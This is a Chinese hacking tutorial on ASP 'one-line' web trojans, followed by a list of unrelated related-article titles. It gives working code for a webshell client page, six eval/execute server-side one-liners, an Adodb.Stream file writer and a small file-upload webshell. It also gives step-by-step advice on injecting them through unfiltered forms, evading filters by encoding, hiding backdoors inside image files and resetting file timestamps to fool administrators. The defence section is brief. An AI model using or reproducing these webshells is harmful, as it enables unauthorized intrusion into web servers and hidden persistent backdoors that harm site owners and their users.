文章作者:冷月孤枫

所谓一句话插马,就是通过向服务端提交一句简短的代码来达到向服务器插入木马并最终获得webshell的方法。它分为一句话asp马、一句话php马……,本文就一句话asp木马来做一次详尽的剖析。在此首先要感谢前辈们的探究!

一:基础篇

首先我们看一下最常用的一句话木马客户端的代码

<html>
<head>
<title>一句话客户端</title>
<style type="text/css">
<!--
body {
        background-color: #FFFFFF;
        
}
.lygf {
        border: 1px solid #660069;
        font-size: 12px;
}
-->
</style>
</head>
<body>
<table width="500" border="0" align="center" class="lygf" height="14" cellspacing="0">
<tr>
<td height="1" width="794">
<form name="lygf" method="post">
<input name="add" type="text" id="add" size="97" value="http://">
<input type="submit" value="枫" onClick="this.form.action=this.form.add.value;">

<input type="hidden" name="fk" id="fk" value="Execute("Session(""fk"")=request(""*""):Execute(Session(""fk""))")">

</td>
</tr>
<tr>
<td height="100" width="794">
<textarea name="*" cols="100" rows="9" width="45">
set lP=server.createObject("Adodb.Stream")
lP.Open
lP.Type=2
lP.CharSet="gb2312"
lP.writetext request("lygf")
lP.SaveToFile server.mappath("fk.asp"),2
lP.Close
set lP=nothing
response.redirect "fk.asp"</textarea>
</td>
</tr>
<tr>
<td height="1" width="794">
<textarea name="lygf" cols="100" rows="15" width="45">
写入你的大马</textarea>
</td>
</tr>
<tr>
<td width="794" height="7">

<font color="#000000">提供六个服务端:</font>
<br>
1. <%eval request("fk")%>
<br>
2. <%execute request("fk")%>
<br>
3. <%execute(request("fk"))%>
<br>
4. <%On Error Resume Next%><%eval request("fk")%>
<br>
5. <script language=VBScript runat=server>execute request("fk")</Script>
<br>
6. <script language=VBScript runat=server>eval request("fk")</Script>
<br>
<br>By 冷月孤枫   枫客:http://fk.3355.cn/    ... t;/font><br>

</td>
</tr>
</table>
</body>
</html>

把上面的代码另存为htm的格式后就可以使用了,具体的使用说明在网页上可以看到

下面就带着大家一起分析一下上面的代码(html的一些最基本的知识就不做解释了):

<title>一句话客户端</title>          显示在浏览器标题栏上面的文字,你可以自己更改

<style type="text/css">
<!--
body {
        background-color: #FFFFFF;   背景颜色
        
}
.lygf {
        border: 1px solid #660099;   边框属性
        font-size: 12px;             字体大小    
}
-->                                  本页面所要用到的样式

<form name="lygf" method=post>       创建一个form对象,其中name的作用是用作一个枢纽把我们要插入的马的内容传递给form,以post方式提交给下面的连接,而不是get,用post提交IIS是不记入日志的

<input name="add" type="text" id="add" size="97" value="http://">创建一个用于提交的输入框(text)用于写地址(add),长度是97个字节,value=是默认的内容

<input type="submit" value="枫" onClick="this.form.action=this.form.add.value;">创建一个按钮用于提交(submit),后面的部分是把上面value的值赋给form去post

<input type="hidden" name="fk" id="fk" value="Execute("Session(""fk"")=request(""*""):Execute(Session(""fk""))")">通过建立一个隐藏域,把fk与下面name的值*关联,用session保存代码然后执行,这句借用了海洋的客户端,不过那样不怎么好用

<textarea name="*" cols="100" rows="9" width="45"> textarea就是论坛中的发言框。在HTML语言中,textarea、input都是属于“文本域”的

set lP=server.createObject("Adodb.Stream") CreateObject创建并返回对 Automation 对象的引用,应用于Server 对象;Adodb.Stream是ADO的Stream对象,提供存取二进制数据或者文本流,从而实现对流的读、写和管理等操作;对象创建后,就可以在代码中使用定义的对象变量(IP)引用此对象
lP.Open 打开这个变量
lP.Type=2 Type 指定或返回的数据类型,这里是以文本方式
lP.CharSet="gb2312" gb2312是指简体中文
lP.writetext request("lygf") Request 对象在 HTTP 请求期间,检索客户端浏览器传递给服务器的值,这里是lygf,要和下面文本框中的name=lygf相对应,writetext允许对现有的 text、ntext 或 image 列执行最小日志记录的交互式更新。WRITETEXT 将覆盖受其影响的列中的所有现有数据,在这里的作用就是取得下面的文本框里的木马的内容
lP.SaveToFile server.mappath("fk.asp"),2 这句很好懂,就是以覆盖文件的方式向服务器的同文件目录下写入fk.asp
lP.Close 关闭对象变量
set lP=nothing 释放Adodb.Stream对象
response.redirect "fk.asp" 在这里起到转向作用,转到我们刚刚写入的fk.asp

<textarea name=lygf cols=120 rows=10 width=45>添入生成木马的内容</textarea>又创建一个文本框用于写马的内容,这里的name要和上面的一样

给大家提供一个小马:
<%dim objfso%>
<%dim fdata%>
<%dim objcountfile%>
<%on error resume next%>
<%set objfso = server.createobject("S"+"cr"+"ipt"+"ing"+".f"+"il"+"es"+"ys"+"tem"+"ob"+"jec"+"t")%>
<%if trim(request("syfdpath"))<>"" then%>
<%fdata = request("cyfddata")%>
<%set objcountfile=objfso.createtextfile(request("syfdpath"),true)%>
<%objcountfile.write fdata%>
<%if err =0 then%>
<%response.write "<font color=red>save success!</font>"%>
<%else%>
<%response.write "<font color=red>save unsuccess!</font>"%>
<%end if%>
<%err.clear%>
<%end if%>
<%objcountfile.close%>
<%set objcountfile=nothing%>
<%set objfso = nothing%>
<%response.write "<form action='''' method=post>"%>
<%response.write "<input type=text name=syfdpath width=32 size=50>"%>
<%response.write "<br>"%>
<%=server.mappath(request.servervariables("script_name"))%>
<%response.write "<br>"%>
<%response.write "<textarea name=cyfddata cols=80 rows=10 width=32></textarea>"%>
<%response.write "<input type=submit value=go>"%>
<%response.write "</form>"%>

后面的一些代码都是一些使用说明,提供六个服务端
1. <%eval request("fk")%>
2. <%execute request("fk")%>
3. <%execute(request("fk"))%>
4. <%On Error Resume Next%><%eval request("fk")%>
5. <script language=VBScript runat=server>execute request("fk")</Script>
6. <script language=VBScript runat=server>eval request("fk")</Script>

大家试着用
解释以下:
在VBScript 中,x = y可以有两种解释。第一种方式是赋值语句,将y的值赋予x。第二种解释是测试x 和y是否相等。如果相等,result为True;否则result为False。Eval方法总是采用第二种解释,而Execute语句总是采用第一种。

Execute 执行一个或多个指定的语句,我们用来执行asp代码,它可以执行赋值操作,不过当POST的参数x为空时execute函数会出错,所以要加一句容错语句

Eval 计算一个表达式的值并返回结果,它的参数可以是包含任何有效VBScript表达式的字符串,也就可以执行asp代码,但它不能执行赋值操作,不过当参数为空不会出错

Request 对象在 HTTP 请求期间,检索客户端浏览器传递给服务器的值这里是fk

好,现在大家都知道了各个函数的意思,那我就把一句话木马的工作原理给大家讲一下:通过服务端的request('fk')的作用是读取客户端文件中第一个文本框中的内容(name值被命名为lygf的部分),然后通过Execute函数或eval函数执行其内容,之后的过程我都在上面说明了,写入大马,就得到了我们想要的webshell

二:应用篇

下面我们就来谈谈一句话asp木马的应用,大家应该都回用吧!哈哈

1.入侵:把一句话插入任何以asp结尾的文件中就能实现入侵。网上很多程序中或者是留言本或者是评论或者是申请表单等等吧,凡是想服务器提交数据的页面只要存在着数据过滤不严,可以插入一句话,大多都能入侵。但我们首先需要做的是,要确认它的数据库必须是以asp结尾的,并且要知道它的数据库路径。如果失败了,大家要自己找一下原因:可能是一句话被包围在一个函数内了(结束它),可能是被过滤<% %>,那大家就可以选择第四个服务端,还有我们可以吧一句话拆分,URLENCODE转换,代码加密等等,大家自由发挥吧!改了文件后要用海洋把文件最后修改时间改回去,这样可以骗过一些管理员!哈哈

2.后门:用它做后门简直太爽了,平时我们用的木马用专业的asp木马查找工具都是可以轻而易举的查出来的,用它做后门就不容易查处来了,因为它可以变形啊,拆分,URLENCODE转换,代码加密等等。可以把它放在asp网页的页首、页尾,不过可能导致页面不正常,容易被发现;可以放在asp页面的空函数内,实验了可以用,页面也正常;可以放在任何文件里面(图片、文本、压缩文件等),建议用图片,因为数量多,不易被发现,把它插入到图片后在一个asp页面中写入<!--#include file="***/****.***" -->后面省略的是你插入的文件的地址,也可以用copy命令使图片与asp文件合二为一copy 1.gif /b + asp.asp /a asp.gif参数/b 是指定以二进制格式复制、合并文件。参数/a 是指定以ascll格式复制、合并文件。还有很多期待发现的方法,只要能想就能做,心有多大世界就有多大,哈哈(比如一台主机我们可以给它架设IIS或微型IIS,后用一句话留后门,一句化在加上系统、只读、隐藏的属性,把文件夹放深一点,就差不多了)。改了文件后要用海洋把文件最后修改时间改回去,这样可以骗过一些管理员!哈哈

三:防范篇

1.是要隐藏网站的数据库,不要让攻击者知道数据库文件的链接地址,把数据库放深一点,名字起的奇怪一点。

2.防止暴库,在数据库连接文件中加入容错代码、设置好IIS转向错误页面等

3.防止用户提交的数据未过滤漏洞,对用户提交的数据进行过滤,替换一些危险的代码等,比较好的方法就是过滤<>,现在TX就过滤这个东西,导致我们不能DIY了

另外要注意的是:因为一句话木马调用了Adodb.Stream组件所以如果服务器端禁止Adodb.Stream组件是不会写入成功的!还有就是权限的问题,如果当前的虚拟目录禁止user组或者everyone写入操作的话那么也是不会成功的,不过这种情况很少见,一般都会有写的权限的!

但愿本文对你有所帮助,大家也可以到我的博客与我讨论,祝愿大家都能DIY出自己的一句话!

全面详尽剖析一句话asp木马相关推荐

  1. webshell中“不死僵尸”asp木马删除不了的解决方法

    昨天用闲来无事用手机浏览博客,打开后发现竟然是个Webshell页面,密码还是默认的"amdin",果断上电脑上查看,却是可以正常打开博客,经检查发现原来是wap.asp文件被换成 ...

  2. aspx连接mysql木马_让你变成ASP木马高手_安全教程_脚本之家

    1.名称:如何制作图片ASP木马 (可显示图片) 建一个asp文件,内容为 找一个正常图片ating.jpg,插入一句话木马(比如冰狐的),用ultraedit进行hex编译,插入图片里,为 了运行成 ...

  3. IIS的ASP木马怎么上传的

    在 Windows 2003下 IIS 6.0有两个漏洞: IIS解析漏洞1: 在网站下建立文件夹的名字为 *.asp.*.asa 的文件夹,其目录内的任何扩展名的文件都被 IIS 当作 asp 文件 ...

  4. 图片asp木马的制作方法[转]

    一个网站里面除了asp文件,再就数图片文件最多了,它让我们的网页"美丽动人"嘻嘻,但是你有没有想到过这里面暗藏的杀机,图片也可以是asp木马.一个网站里面除了asp文件,再就数图片 ...

  5. 打造不死的asp木马

    打造不死的asp木马 想不到,前几天我才发现,我千辛万苦收集的asp木马,居然没有几个不被Kill的.常说养马千日用马一时,可要是连马都养不好,用的时候可就头疼了.众多杀软中,查杀效果比较好厉害的就是 ...

  6. 插入ASP代码让网站数据库成为ASP木马

    很多时候我们可以通过在注册表单或者用户信息修改表单中,插入简短的ASP代码,使网站ASP数据库变成为一个ASP木马,然后进一步入侵控制服务器. 不过在上传代码过程中,许多网页程序都不允许包含〈%%〉标 ...

  7. 如何使用命令行合成一句话图片木马

    需要用到的语句:一句话木马:<?php @eval($_POST['tlover']);?>                                合成命令:copy 1.jpg/ ...

  8. 关于ASP木马提升权限

    来源: http://www.17nc.com/ 现在ASP木马是漫天飞,我有一次进去后发现竟然用30多个ASP木马,在帮管理员清理了后,真是累爬了.想想管理员还真是懒的可以-- 上传了ASP木马之后 ...

  9. ASP木马Webshell安全解决办案

    注意:本文所讲述之设置方法与环境:适用于Microsoft Windows 2000 Server/Win2003 SERVER IIS5.0/IIS6.0   1.首先我们来看看一般ASP木马.We ...

最新文章

  1. 【采集层】Kafka 与 Flume 如何选择
  2. 【Flask项目2】创建模型类映射到数据库,密码加密实现(3)
  3. Linux上的TIME_WAIT和tcp_fin_timeout
  4. 若川诚邀你加源码共读群,每周一起学源码
  5. 【小夕精选】如何优雅而时髦的解决不均衡分类问题
  6. HDU-3337 Guess the number 测试输入数据
  7. MySQL存个人信息可以吗_mysql数据库中,在修改数据时能否保存操作人员的信息,比如姓名或id,如果能,怎么操作。...
  8. servlet篇 之servlet实现
  9. Embarcadero官方出品Delphi入门教程学习视频:2小时轻松掌握Delphi快速开发跨平台应用程序APP软件菜鸟教程
  10. python写词法分析器_python实现词法分析器
  11. 【码上实战】【立体匹配系列】经典SGM:(3)代价聚合
  12. python查看保留字_Python 关键字(保留字)一览表,含查询方法
  13. 耐人寻味的Temp文件(二)
  14. 1076: 三位数求解
  15. 面向初学者的 Python IDE:Thonny,你值得一试
  16. 【耀杨的前世今生】耀杨的毕生所学——《狗叫江湖》之“葫芦给学习法”(1)
  17. 通过C++类方法地址调用类的虚方法
  18. Cocos图片加密与解密
  19. VS配置Open in Brower
  20. IIS配置优化(全)

热门文章

  1. 单片机 STM32 HAL 射频读卡器 RC522
  2. Jmeter性能测试指标
  3. Java实现谷歌身份验证器
  4. POJ 2228. Naptime
  5. python画美图_学会这些Python美图技巧,就等着女朋友夸你吧
  6. There is no getter for property named 'xxx' in 'class.....'
  7. Tensorflow 使用Bidirectional()包装器构建双向LSTM模型,预测DNA序列功能
  8. 【转】CAN总线设计---CAN节点的电容、CAN终端电阻、CAN总线共模电感/共模扼流圈修改版*****
  9. 当前国内市场做MES的三类企业,来看看他们的优缺点是什么
  10. 用3dmax做折扇的思路方法与步骤